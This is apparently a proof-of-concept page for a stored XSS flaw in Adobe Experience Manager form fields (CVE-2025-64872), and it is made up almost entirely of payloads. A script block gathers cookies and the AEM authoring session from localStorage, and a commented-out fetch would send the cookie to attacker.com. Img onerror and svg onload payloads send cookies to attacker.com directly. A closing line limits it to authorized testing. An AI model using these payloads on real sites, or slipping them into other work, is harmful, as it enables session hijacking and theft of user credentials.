CVE-2025-64872 Adobe Experience Manager 存储型XSS漏洞

<!-- CVE-2025-64872 Stored XSS PoC for Adobe Experience Manager --> <!-- This PoC demonstrates the stored XSS vulnerability in AEM form fields --> <!-- Step 1: Identify a form field that can be edited by high-privileged users --> <!-- Step 2: Inject malicious JavaScript payload into the form field --> <script> // Basic XSS payload to demonstrate vulnerability alert('XSS Vulnerability - CVE-2025-64872'); console.log('Adobe Experience Manager Stored XSS Detected'); // Cookie stealing payload (for demonstration purposes) var stolenCookie = document.cookie; // In real attack, this would be sent to attacker-controlled server // fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(stolenCookie)); // Session hijacking payload example // This payload attempts to steal session tokens var sessionData = { cookies: document.cookie, localStorage: localStorage.getItem('cq-authoring-session'), referrer: document.referrer, userAgent: navigator.userAgent }; console.log('Session Data:', JSON.stringify(sessionData)); </script> <!-- Alternative payload using img tag with onerror --> <img src=x onerror="this.src='https://attacker.com/log?c='+document.cookie"> <!-- SVG-based payload --> <svg/onload=fetch('https://attacker.com/exfil?data='+btoa(document.cookie))> <!-- Note: This PoC is for authorized security testing only -->